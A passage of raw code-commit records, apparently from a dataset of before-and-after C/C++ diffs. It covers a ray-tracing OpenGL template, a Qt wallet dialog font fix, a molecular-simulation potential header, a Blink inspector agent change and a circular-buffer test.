\/**< Queue type incorrect *\/\n    ERROR_NO_DATA_AVAILABLE = 9,             \/**< No data available *\/\n    ERROR_INVALID_PLATFORM = 10,             \/**< Platform not recognised *\/\n    ERROR_PLATFORM_NOT_INITIALISED = 11,     \/**< Board information not initialised *\/\n    ERROR_PLATFORM_ALREADY_INITIALISED = 0,  \/**< Board is already initialised, same as SUCCESS *\/\n\n    ERROR_UNSPECIFIED = 99 \/**< Unknown Error *\/\n} Result;\n\n\/**\n * Enum representing different possible modes for a pin.\n *\/\ntypedef enum {\n    PIN_VALID = 0,     \/**< Pin Valid *\/\n    PIN_GPIO = 1,      \/**< General Purpose IO *\/\n    PIN_PWM = 2,       \/**< Pulse Width Modulation *\/\n    PIN_FAST_GPIO = 3, \/**< Faster GPIO *\/\n    PIN_SPI = 4,       \/**< SPI *\/\n    PIN_I2C = 5,       \/**< I2C *\/\n    PIN_AIO = 6,       \/**< Analog in *\/\n    PIN_UART = 7       \/**< UART *\/\n} Pinmodes;\n\n\/**\n * Enum reprensenting different i2c speeds\/modes\n *\/\ntypedef enum {\n    I2C_STD = 0,  \/**< up to 100Khz *\/\n    I2C_FAST = 1, \/**< up to 400Khz *\/\n    I2C_HIGH = 2  \/**< up to 3.4Mhz *\/\n} I2cMode;\n\ntypedef enum {\n    UART_PARITY_NONE = 0,\n    UART_PARITY_EVEN = 1,\n    UART_PARITY_ODD = 2,\n    UART_PARITY_MARK = 3,\n    UART_PARITY_SPACE = 4\n} UartParity;\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#ifdef WIN32\n#include <windows.h>\n#endif\n#include <GL\/glut.h>\n#include \"raytracing.h\"\n\n\n\/\/temporary variables\nVec3Df testRayOrigin;\nVec3Df testRayDestination;\n\n\/\/use this function for any preprocessing of the mesh.\nvoid init()\n{\n\t\/\/load the mesh file\n\t\/\/feel free to replace cube by a path to another model\n\t\/\/please realize that not all OBJ files will successfully load.\n\t\/\/Nonetheless, if they come from Blender, they should.\n\t\/\/there is a difference between windows written objs and Linux written objs.\n\t\/\/hence, some models might not yet work well.\n    \/\/MyMesh.loadMesh(\"cube2.obj\", true);\n\n    MyMesh.loadMesh(\"mesh\/monkey.obj\", true);\n\n\/\/    MyMesh.loadMesh(\"cube.obj\", true);\n\tMyMesh.computeVertexNormals();\n\n\t\/\/one first move: initialize the first light source\n\t\/\/at least ONE light source has to be in the scene!!!\n\t\/\/here, we set it to the current location of the camera\n\tMyLightPositions.push_back(MyCameraPosition);\n}\n\n\/\/return the color of your pixel.\nVec3Df performRayTracing(const Vec3Df & origin, const Vec3Df & dest)\n{\n\treturn Vec3Df(1,0,0);\n}\n\n\nvoid yourDebugDraw()\n{\n\t\/\/draw open gl debug stuff\n\t\/\/this function is called every frame\n\n\t\/\/as an example: \n\tglPushAttrib(GL_ALL_ATTRIB_BITS);\n\tglDisable(GL_LIGHTING);\n\tglColor3f(0,1,1);\n\tglBegin(GL_LINES);\n\tglVertex3f(testRayOrigin[0], testRayOrigin[1], testRayOrigin[2]);\n\tglVertex3f(testRayDestination[0], testRayDestination[1], testRayDestination[2]);\n\tglEnd();\n\tglPointSize(10);\n\tglBegin(GL_POINTS);\n\tglVertex3fv(MyLightPositions[0].pointer());\n\tglEnd();\n\tglPopAttrib();\n\n}\n\nvoid yourKeyboardFunc(char t, int x, int y)\n{\n\t\/\/ do what you want with the keyboard input t.\n\t\/\/ x, y are the screen position\n\n\t\/\/here I use it to get the coordinates of a ray, which I then draw in the debug function.\n\tproduceRay(x, y, testRayOrigin, testRayDestination);\n\n\tstd::cout<<t<<\" pressed! The mouse was in location \"<<x<<\",\"<<y<<\"!\"<<std::endl;\n}\n<commit_msg>formatting :X<commit_after>#include <stdio.h>\n#ifdef WIN32\n#include <windows.h>\n#endif\n#include <GL\/glut.h>\n#include \"raytracing.h\"\n\n\/\/temporary variables\nVec3Df testRayOrigin;\nVec3Df testRayDestination;\n\n\/\/use this function for any preprocessing of the mesh.\nvoid init(){\n    \/\/load the mesh file\n    \/\/feel free to replace cube by a path to another model\n    \/\/please realize that not all OBJ files will successfully load.\n    \/\/Nonetheless, if they come from Blender, they should.\n    \/\/there is a difference between windows written objs and Linux written objs.\n    \/\/hence, some models might not yet work well.\n    \/\/MyMesh.loadMesh(\"cube2.obj\", true);\n\n    MyMesh.loadMesh(\"mesh\/monkey.obj\", true);\n\n\/\/    MyMesh.loadMesh(\"cube.obj\", true);\n    MyMesh.computeVertexNormals();\n\n    \/\/one first move: initialize the first light source\n    \/\/at least ONE light source has to be in the scene!!!\n    \/\/here, we set it to the current location of the camera\n    MyLightPositions.push_back(MyCameraPosition);\n}\n\n\/\/return the color of your pixel.\nVec3Df performRayTracing(const Vec3Df & origin, const Vec3Df & dest){\n    return Vec3Df(1, 0, 0);\n}\n\nvoid yourDebugDraw(){\n    \/\/draw open gl debug stuff\n    \/\/this function is called every frame\n\n    \/\/as an example:\n    glPushAttrib(GL_ALL_ATTRIB_BITS);\n    glDisable(GL_LIGHTING);\n    glColor3f(0, 1, 1);\n    glBegin(GL_LINES);\n    glVertex3f(testRayOrigin[0], testRayOrigin[1], testRayOrigin[2]);\n    glVertex3f(testRayDestination[0], testRayDestination[1],\n            testRayDestination[2]);\n    glEnd();\n    glPointSize(10);\n    glBegin(GL_POINTS);\n    glVertex3fv(MyLightPositions[0].pointer());\n    glEnd();\n    glPopAttrib();\n\n}\n\nvoid yourKeyboardFunc(char t, int x, int y){\n    \/\/ do what you want with the keyboard input t.\n    \/\/ x, y are the screen position\n\n    \/\/here I use it to get the coordinates of a ray, which I then draw in the debug function.\n    produceRay(x, y, testRayOrigin, testRayDestination);\n\n    std::cout << t << \" pressed! The mouse was in location \" << x << \",\" << y\n            << \"!\" << std::endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011-2014 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <qt\/guiutil.h>\n#include <qt\/transactiondescdialog.h>\n#include <qt\/forms\/ui_transactiondescdialog.h>\n\n#include <qt\/transactiontablemodel.h>\n\n#include <QModelIndex>\n#include <QSettings>\n#include <QString>\n\nTransactionDescDialog::TransactionDescDialog(const QModelIndex &idx, QWidget *parent) :\n    QDialog(parent),\n    ui(new Ui::TransactionDescDialog)\n{\n    ui->setupUi(this);\n    setWindowTitle(tr(\"Details for %1\").arg(idx.data(TransactionTableModel::TxIDRole).toString()));\n    QString desc = idx.data(TransactionTableModel::LongDescriptionRole).toString();\n    ui->detailText->setHtml(desc);\n}\n\nTransactionDescDialog::~TransactionDescDialog()\n{\n    delete ui;\n}\n<commit_msg>qt: Make sure font size in  TransactionDescDialog is adjusted properly (#3707)<commit_after>\/\/ Copyright (c) 2011-2014 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <qt\/guiutil.h>\n#include <qt\/transactiondescdialog.h>\n#include <qt\/forms\/ui_transactiondescdialog.h>\n\n#include <qt\/transactiontablemodel.h>\n\n#include <QModelIndex>\n#include <QSettings>\n#include <QString>\n\nTransactionDescDialog::TransactionDescDialog(const QModelIndex &idx, QWidget *parent) :\n    QDialog(parent),\n    ui(new Ui::TransactionDescDialog)\n{\n    ui->setupUi(this);\n    GUIUtil::updateFonts();\n    setWindowTitle(tr(\"Details for %1\").arg(idx.data(TransactionTableModel::TxIDRole).toString()));\n    QString desc = idx.data(TransactionTableModel::LongDescriptionRole).toString();\n    ui->detailText->setHtml(desc);\n}\n\nTransactionDescDialog::~TransactionDescDialog()\n{\n    delete ui;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef MJOLNIR_EXCLUDED_VOLUME_POTENTIAL\n#define MJOLNIR_EXCLUDED_VOLUME_POTENTIAL\n#include \"GlobalPotentialBase.hpp\"\n#include <cmath>\n\nnamespace mjolnir\n{\n\ntemplate<typename traitsT>\nclass ExcludedVolumePotential : public GlobalPotentialBase<traitsT>\n{\n  public:\n    typedef traitsT traits_type;\n    typedef typename traits_type::real_type real_type;\n    typedef typename traits_type::coordinate_type coordinate_type;\n    typedef real_type parameter_type;\n\n    \/\/ rc = 2.5 * sigma\n    constexpr static real_type cutoff_ratio = 2.5;\n\n  public:\n    ExcludedVolumePotential() = default;\n    ExcludedVolumePotential(\n            const real_type eps, const std::vector<parameter_type>& params)\n        : epsilon_(eps), radii_(params)\n    {}\n    ExcludedVolumePotential(\n            real_type&& eps, std::vector<parameter_type>&& params)\n        : epsilon_(std::forward<real_type>(eps)),\n          radii_(std::forward<std::vector<parameter_type>>(params))\n    {}\n    ~ExcludedVolumePotential() override = default;\n\n    real_type  epsilon() const {return epsilon_;}\n    real_type& epsilon()       {return epsilon_;}\n\n    void emplace(const parameter_type& radius);\n    void emplace(parameter_type&& radius);\n\n    void set_radii(const std::vector<parameter_type>& radii);\n    void set_radii(std::vector<parameter_type>&& radii);\n\n    std::size_t size() const {return radii_.size();}\n    void resize(const std::size_t i){radii_.resize(i);}\n    void reserve(const std::size_t i){radii_.reserve(i);}\n    void clear(){radii_.clear();}\n\n    parameter_type&       operator[](const std::size_t i)       {return radii_[i];}\n    parameter_type const& operator[](const std::size_t i) const {return radii_[i];}\n    parameter_type&       at(const std::size_t i)       {return radii_.at(i);}\n    parameter_type const& at(const std::size_t i) const {return radii_.at(i);}\n\n    real_type potential(const std::size_t i, const std::size_t j,\n                        const real_type r) const override;\n\n    real_type derivative(const std::size_t i, const std::size_t j,\n                         const real_type r) const override;\n    \n    real_type max_cutoff_length() const override;\n\n  private:\n\n    real_type epsilon_;\n    std::vector<parameter_type> radii_;\n};\n\ntemplate<typename traitsT>\ninline void\nExcludedVolumePotential<traitsT>::emplace(const parameter_type& radius)\n{\n    radii_.push_back(radius);\n    return ;\n}\n\ntemplate<typename traitsT>\ninline void\nExcludedVolumePotential<traitsT>::emplace(parameter_type&& radius)\n{\n    radii_.emplace_back(std::forward<parameter_type>(radius));\n    return ;\n}\n\ntemplate<typename traitsT>\ninline void\nExcludedVolumePotential<traitsT>::set_radii(const std::vector<parameter_type>& radii)\n{\n    radii_ = radii;\n    return ;\n}\n\ntemplate<typename traitsT>\ninline void\nExcludedVolumePotential<traitsT>::set_radii(std::vector<parameter_type>&& radii)\n{\n    radii_ = std::forward<std::vector<parameter_type>>(radii);\n    return ;\n}\n\n\ntemplate<typename traitsT>\ninline typename ExcludedVolumePotential<traitsT>::real_type\nExcludedVolumePotential<traitsT>::potential(\n        const std::size_t i, const std::size_t j, const real_type r) const\n{\n    const real_type d = radii_[i] + radii_[j];\n    const real_type d_r = d \/ r;\n    const real_type dr3 = d_r * d_r * d_r;\n    const real_type dr6 = dr3 * dr3;\n    const real_type dr12 = dr6 * dr6;\n    return epsilon_ * dr12;\n}\n \ntemplate<typename traitsT>\ninline typename ExcludedVolumePotential<traitsT>::real_type\nExcludedVolumePotential<traitsT>::derivative(\n        const std::size_t i, const std::size_t j, const real_type r) const\n{\n    const real_type d = radii_[i] + radii_[j];\n    const real_type rinv = 1. \/ r;\n    const real_type d_r = d * rinv;\n    const real_type dr3 = d_r * d_r * d_r;\n    const real_type dr6 = dr3 * dr3;\n    const real_type dr12 = dr6 * dr6;\n    return -12 * epsilon_ * dr12 * rinv;\n}\n\n\ntemplate<typename traitsT>\ninline typename ExcludedVolumePotential<traitsT>::real_type\nExcludedVolumePotential<traitsT>::max_cutoff_length() const\n{\n    const real_type max_sigma =\n        *(std::max_element(radii_.cbegin(), radii_.cend()));\n    return max_sigma * cutoff_ratio;\n}\n\n} \/\/ mjolnir\n#endif \/* MJOLNIR_EXCLUDED_VOLUME_POTENTIAL *\/\n<commit_msg>add include file<commit_after>#ifndef MJOLNIR_EXCLUDED_VOLUME_POTENTIAL\n#define MJOLNIR_EXCLUDED_VOLUME_POTENTIAL\n#include \"GlobalPotentialBase.hpp\"\n#include <algorithm>\n#include <cmath>\n\nnamespace mjolnir\n{\n\ntemplate<typename traitsT>\nclass ExcludedVolumePotential : public GlobalPotentialBase<traitsT>\n{\n  public:\n    typedef traitsT traits_type;\n    typedef typename traits_type::real_type real_type;\n    typedef typename traits_type::coordinate_type coordinate_type;\n    typedef real_type parameter_type;\n\n    \/\/ rc = 2.5 * sigma\n    constexpr static real_type cutoff_ratio = 2.5;\n\n  public:\n    ExcludedVolumePotential() = default;\n    ExcludedVolumePotential(\n            const real_type eps, const std::vector<parameter_type>& params)\n        : epsilon_(eps), radii_(params)\n    {}\n    ExcludedVolumePotential(\n            real_type&& eps, std::vector<parameter_type>&& params)\n        : epsilon_(std::forward<real_type>(eps)),\n          radii_(std::forward<std::vector<parameter_type>>(params))\n    {}\n    ~ExcludedVolumePotential() override = default;\n\n    real_type  epsilon() const {return epsilon_;}\n    real_type& epsilon()       {return epsilon_;}\n\n    void emplace(const parameter_type& radius);\n    void emplace(parameter_type&& radius);\n\n    void set_radii(const std::vector<parameter_type>& radii);\n    void set_radii(std::vector<parameter_type>&& radii);\n\n    std::size_t size() const {return radii_.size();}\n    void resize(const std::size_t i){radii_.resize(i);}\n    void reserve(const std::size_t i){radii_.reserve(i);}\n    void clear(){radii_.clear();}\n\n    parameter_type&       operator[](const std::size_t i)       {return radii_[i];}\n    parameter_type const& operator[](const std::size_t i) const {return radii_[i];}\n    parameter_type&       at(const std::size_t i)       {return radii_.at(i);}\n    parameter_type const& at(const std::size_t i) const {return radii_.at(i);}\n\n    real_type potential(const std::size_t i, const std::size_t j,\n                        const real_type r) const override;\n\n    real_type derivative(const std::size_t i, const std::size_t j,\n                         const real_type r) const override;\n    \n    real_type max_cutoff_length() const override;\n\n  private:\n\n    real_type epsilon_;\n    std::vector<parameter_type> radii_;\n};\n\ntemplate<typename traitsT>\ninline void\nExcludedVolumePotential<traitsT>::emplace(const parameter_type& radius)\n{\n    radii_.push_back(radius);\n    return ;\n}\n\ntemplate<typename traitsT>\ninline void\nExcludedVolumePotential<traitsT>::emplace(parameter_type&& radius)\n{\n    radii_.emplace_back(std::forward<parameter_type>(radius));\n    return ;\n}\n\ntemplate<typename traitsT>\ninline void\nExcludedVolumePotential<traitsT>::set_radii(const std::vector<parameter_type>& radii)\n{\n    radii_ = radii;\n    return ;\n}\n\ntemplate<typename traitsT>\ninline void\nExcludedVolumePotential<traitsT>::set_radii(std::vector<parameter_type>&& radii)\n{\n    radii_ = std::forward<std::vector<parameter_type>>(radii);\n    return ;\n}\n\n\ntemplate<typename traitsT>\ninline typename ExcludedVolumePotential<traitsT>::real_type\nExcludedVolumePotential<traitsT>::potential(\n        const std::size_t i, const std::size_t j, const real_type r) const\n{\n    const real_type d = radii_[i] + radii_[j];\n    const real_type d_r = d \/ r;\n    const real_type dr3 = d_r * d_r * d_r;\n    const real_type dr6 = dr3 * dr3;\n    const real_type dr12 = dr6 * dr6;\n    return epsilon_ * dr12;\n}\n \ntemplate<typename traitsT>\ninline typename ExcludedVolumePotential<traitsT>::real_type\nExcludedVolumePotential<traitsT>::derivative(\n        const std::size_t i, const std::size_t j, const real_type r) const\n{\n    const real_type d = radii_[i] + radii_[j];\n    const real_type rinv = 1. \/ r;\n    const real_type d_r = d * rinv;\n    const real_type dr3 = d_r * d_r * d_r;\n    const real_type dr6 = dr3 * dr3;\n    const real_type dr12 = dr6 * dr6;\n    return -12 * epsilon_ * dr12 * rinv;\n}\n\n\ntemplate<typename traitsT>\ninline typename ExcludedVolumePotential<traitsT>::real_type\nExcludedVolumePotential<traitsT>::max_cutoff_length() const\n{\n    const real_type max_sigma =\n        *(std::max_element(radii_.cbegin(), radii_.cend()));\n    return max_sigma * cutoff_ratio;\n}\n\n} \/\/ mjolnir\n#endif \/* MJOLNIR_EXCLUDED_VOLUME_POTENTIAL *\/\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>ui: adjust e2e path width<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2007, 2008, 2009, 2010 Apple Inc. All rights reserved.\n * Copyright (C) 2008 Matt Lilek <webkit@mattlilek.com>\n * Copyright (C) 2011 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1.  Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n * 2.  Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and\/or other materials provided with the distribution.\n * 3.  Neither the name of Apple Computer, Inc. (\"Apple\") nor the names of\n *     its contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS \"AS IS\" AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"core\/inspector\/InspectorInspectorAgent.h\"\n\n#include \"bindings\/v8\/DOMWrapperWorld.h\"\n#include \"bindings\/v8\/ScriptController.h\"\n#include \"core\/InspectorFrontend.h\"\n#include \"core\/dom\/Document.h\"\n#include \"core\/frame\/LocalFrame.h\"\n#include \"core\/inspector\/InjectedScriptHost.h\"\n#include \"core\/inspector\/InjectedScriptManager.h\"\n#include \"core\/inspector\/InspectorController.h\"\n#include \"core\/inspector\/InspectorState.h\"\n#include \"core\/inspector\/InstrumentingAgents.h\"\n#include \"core\/loader\/DocumentLoader.h\"\n#include \"core\/page\/Page.h\"\n#include \"platform\/weborigin\/SecurityOrigin.h\"\n#include \"wtf\/text\/StringBuilder.h\"\n\nnamespace WebCore {\n\nnamespace InspectorAgentState {\nstatic const char inspectorAgentEnabled[] = \"inspectorAgentEnabled\";\n}\n\nInspectorInspectorAgent::InspectorInspectorAgent(Page* page, InjectedScriptManager* injectedScriptManager)\n    : InspectorBaseAgent<InspectorInspectorAgent>(\"Inspector\")\n    , m_inspectedPage(page)\n    , m_frontend(0)\n    , m_injectedScriptManager(injectedScriptManager)\n{\n    ASSERT_ARG(page, page);\n}\n\nInspectorInspectorAgent::~InspectorInspectorAgent()\n{\n    m_instrumentingAgents->setInspectorInspectorAgent(0);\n}\n\nvoid InspectorInspectorAgent::didClearDocumentOfWindowObject(LocalFrame* frame)\n{\n    if (m_injectedScriptForOrigin.isEmpty())\n        return;\n\n    String origin = frame->document()->securityOrigin()->toRawString();\n    String script = m_injectedScriptForOrigin.get(origin);\n    if (script.isEmpty())\n        return;\n    int injectedScriptId = m_injectedScriptManager->injectedScriptIdFor(ScriptState::forMainWorld(frame));\n    StringBuilder scriptSource;\n    scriptSource.append(script);\n    scriptSource.append(\"(\");\n    scriptSource.appendNumber(injectedScriptId);\n    scriptSource.append(\")\");\n    frame->script().executeScriptInMainWorld(scriptSource.toString());\n}\n\nvoid InspectorInspectorAgent::init()\n{\n    m_instrumentingAgents->setInspectorInspectorAgent(this);\n}\n\nvoid InspectorInspectorAgent::setFrontend(InspectorFrontend* inspectorFrontend)\n{\n    m_frontend = inspectorFrontend;\n}\n\nvoid InspectorInspectorAgent::clearFrontend()\n{\n    m_pendingEvaluateTestCommands.clear();\n    m_frontend = 0;\n    m_injectedScriptManager->discardInjectedScripts();\n    ErrorString error;\n    disable(&error);\n}\n\nvoid InspectorInspectorAgent::enable(ErrorString*)\n{\n    m_state->setBoolean(InspectorAgentState::inspectorAgentEnabled, true);\n\n    if (m_pendingInspectData.first)\n        inspect(m_pendingInspectData.first, m_pendingInspectData.second);\n\n    for (Vector<pair<long, String> >::iterator it = m_pendingEvaluateTestCommands.begin(); m_frontend && it != m_pendingEvaluateTestCommands.end(); ++it)\n        m_frontend->inspector()->evaluateForTestInFrontend(static_cast<int>((*it).first), (*it).second);\n    m_pendingEvaluateTestCommands.clear();\n}\n\nvoid InspectorInspectorAgent::disable(ErrorString*)\n{\n    m_state->setBoolean(InspectorAgentState::inspectorAgentEnabled, false);\n}\n\nvoid InspectorInspectorAgent::reset(ErrorString*)\n{\n    m_inspectedPage->inspectorController().reconnectFrontend();\n}\n\nvoid InspectorInspectorAgent::domContentLoadedEventFired(LocalFrame* frame)\n{\n    if (frame->page()->mainFrame() != frame)\n        return;\n\n    m_injectedScriptManager->injectedScriptHost()->clearInspectedObjects();\n}\n\nvoid InspectorInspectorAgent::evaluateForTestInFrontend(long callId, const String& script)\n{\n    if (m_state->getBoolean(InspectorAgentState::inspectorAgentEnabled))\n        m_frontend->inspector()->evaluateForTestInFrontend(static_cast<int>(callId), script);\n    else\n        m_pendingEvaluateTestCommands.append(pair<long, String>(callId, script));\n}\n\nvoid InspectorInspectorAgent::setInjectedScriptForOrigin(const String& origin, const String& source)\n{\n    m_injectedScriptForOrigin.set(origin, source);\n}\n\nvoid InspectorInspectorAgent::inspect(PassRefPtr<TypeBuilder::Runtime::RemoteObject> objectToInspect, PassRefPtr<JSONObject> hints)\n{\n    if (m_state->getBoolean(InspectorAgentState::inspectorAgentEnabled) && m_frontend) {\n        m_frontend->inspector()->inspect(objectToInspect, hints);\n        m_pendingInspectData.first = nullptr;\n        m_pendingInspectData.second = nullptr;\n        return;\n    }\n    m_pendingInspectData.first = objectToInspect;\n    m_pendingInspectData.second = hints;\n}\n\n} \/\/ namespace WebCore\n<commit_msg>Do not buffer evaluateForTestInFrontend commands<commit_after>\/*\n * Copyright (C) 2007, 2008, 2009, 2010 Apple Inc. All rights reserved.\n * Copyright (C) 2008 Matt Lilek <webkit@mattlilek.com>\n * Copyright (C) 2011 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1.  Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n * 2.  Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and\/or other materials provided with the distribution.\n * 3.  Neither the name of Apple Computer, Inc. (\"Apple\") nor the names of\n *     its contributors may be used to endorse or promote products derived\n *     from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS \"AS IS\" AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"core\/inspector\/InspectorInspectorAgent.h\"\n\n#include \"bindings\/v8\/DOMWrapperWorld.h\"\n#include \"bindings\/v8\/ScriptController.h\"\n#include \"core\/InspectorFrontend.h\"\n#include \"core\/dom\/Document.h\"\n#include \"core\/frame\/LocalFrame.h\"\n#include \"core\/inspector\/InjectedScriptHost.h\"\n#include \"core\/inspector\/InjectedScriptManager.h\"\n#include \"core\/inspector\/InspectorController.h\"\n#include \"core\/inspector\/InspectorState.h\"\n#include \"core\/inspector\/InstrumentingAgents.h\"\n#include \"core\/loader\/DocumentLoader.h\"\n#include \"core\/page\/Page.h\"\n#include \"platform\/weborigin\/SecurityOrigin.h\"\n#include \"wtf\/text\/StringBuilder.h\"\n\nnamespace WebCore {\n\nnamespace InspectorAgentState {\nstatic const char inspectorAgentEnabled[] = \"inspectorAgentEnabled\";\n}\n\nInspectorInspectorAgent::InspectorInspectorAgent(Page* page, InjectedScriptManager* injectedScriptManager)\n    : InspectorBaseAgent<InspectorInspectorAgent>(\"Inspector\")\n    , m_inspectedPage(page)\n    , m_frontend(0)\n    , m_injectedScriptManager(injectedScriptManager)\n{\n    ASSERT_ARG(page, page);\n}\n\nInspectorInspectorAgent::~InspectorInspectorAgent()\n{\n    m_instrumentingAgents->setInspectorInspectorAgent(0);\n}\n\nvoid InspectorInspectorAgent::didClearDocumentOfWindowObject(LocalFrame* frame)\n{\n    if (m_injectedScriptForOrigin.isEmpty())\n        return;\n\n    String origin = frame->document()->securityOrigin()->toRawString();\n    String script = m_injectedScriptForOrigin.get(origin);\n    if (script.isEmpty())\n        return;\n    int injectedScriptId = m_injectedScriptManager->injectedScriptIdFor(ScriptState::forMainWorld(frame));\n    StringBuilder scriptSource;\n    scriptSource.append(script);\n    scriptSource.append(\"(\");\n    scriptSource.appendNumber(injectedScriptId);\n    scriptSource.append(\")\");\n    frame->script().executeScriptInMainWorld(scriptSource.toString());\n}\n\nvoid InspectorInspectorAgent::init()\n{\n    m_instrumentingAgents->setInspectorInspectorAgent(this);\n}\n\nvoid InspectorInspectorAgent::setFrontend(InspectorFrontend* inspectorFrontend)\n{\n    m_frontend = inspectorFrontend;\n}\n\nvoid InspectorInspectorAgent::clearFrontend()\n{\n    m_pendingEvaluateTestCommands.clear();\n    m_frontend = 0;\n    m_injectedScriptManager->discardInjectedScripts();\n    ErrorString error;\n    disable(&error);\n}\n\nvoid InspectorInspectorAgent::enable(ErrorString*)\n{\n    m_state->setBoolean(InspectorAgentState::inspectorAgentEnabled, true);\n\n    if (m_pendingInspectData.first)\n        inspect(m_pendingInspectData.first, m_pendingInspectData.second);\n\n    for (Vector<pair<long, String> >::iterator it = m_pendingEvaluateTestCommands.begin(); m_frontend && it != m_pendingEvaluateTestCommands.end(); ++it)\n        m_frontend->inspector()->evaluateForTestInFrontend(static_cast<int>((*it).first), (*it).second);\n    m_pendingEvaluateTestCommands.clear();\n}\n\nvoid InspectorInspectorAgent::disable(ErrorString*)\n{\n    m_state->setBoolean(InspectorAgentState::inspectorAgentEnabled, false);\n}\n\nvoid InspectorInspectorAgent::reset(ErrorString*)\n{\n    m_inspectedPage->inspectorController().reconnectFrontend();\n}\n\nvoid InspectorInspectorAgent::domContentLoadedEventFired(LocalFrame* frame)\n{\n    if (frame->page()->mainFrame() != frame)\n        return;\n\n    m_injectedScriptManager->injectedScriptHost()->clearInspectedObjects();\n}\n\nvoid InspectorInspectorAgent::evaluateForTestInFrontend(long callId, const String& script)\n{\n    if (m_state->getBoolean(InspectorAgentState::inspectorAgentEnabled)) {\n        m_frontend->inspector()->evaluateForTestInFrontend(static_cast<int>(callId), script);\n        m_frontend->inspector()->flush();\n    } else {\n        m_pendingEvaluateTestCommands.append(pair<long, String>(callId, script));\n    }\n}\n\nvoid InspectorInspectorAgent::setInjectedScriptForOrigin(const String& origin, const String& source)\n{\n    m_injectedScriptForOrigin.set(origin, source);\n}\n\nvoid InspectorInspectorAgent::inspect(PassRefPtr<TypeBuilder::Runtime::RemoteObject> objectToInspect, PassRefPtr<JSONObject> hints)\n{\n    if (m_state->getBoolean(InspectorAgentState::inspectorAgentEnabled) && m_frontend) {\n        m_frontend->inspector()->inspect(objectToInspect, hints);\n        m_pendingInspectData.first = nullptr;\n        m_pendingInspectData.second = nullptr;\n        return;\n    }\n    m_pendingInspectData.first = objectToInspect;\n    m_pendingInspectData.second = hints;\n}\n\n} \/\/ namespace WebCore\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>🙈 Ignore SIGPIPE<commit_after><|endoftext|>"}
{"text":"<commit_before>\r\n#include \"circularBuffer.h\"\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n    char tmpBuf[1024];\r\n    char helloBuf[] = \"hello world\"; \/\/ 11\r\n\r\n    CircularBuffer buf(1024);\r\n\r\n    cout << \"capacity: \" << buf.capacity() << endl;\r\n    cout << \"size: \" << buf.size() << endl;\r\n\r\n    int nwrite = buf.write(helloBuf, 11);\r\n    cout << \"nwrite: \" << nwrite << endl;\r\n\r\n    nwrite = buf.write(tmpBuf, 1024);\r\n    cout << \"nwrite: \" << nwrite << endl;\r\n\r\n    int nread = buf.read(tmpBuf, 1020);\r\n    cout << \"nread: \" << nread << endl;\r\n\r\n    nread = buf.read(tmpBuf, 100);\r\n    cout << \"nread: \" << nread << endl;\r\n\r\n    return 0;\r\n}\r\n<commit_msg>Add comment.<commit_after>\r\n#include \"circularBuffer.h\"\r\n#include <iostream>\r\n\r\n\/\/ Thanks to: http:\/\/www.asawicki.info\/news_1468_circular_buffer_of_raw_binary_data_in_c.html\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n    char tmpBuf[1024];\r\n    char helloBuf[] = 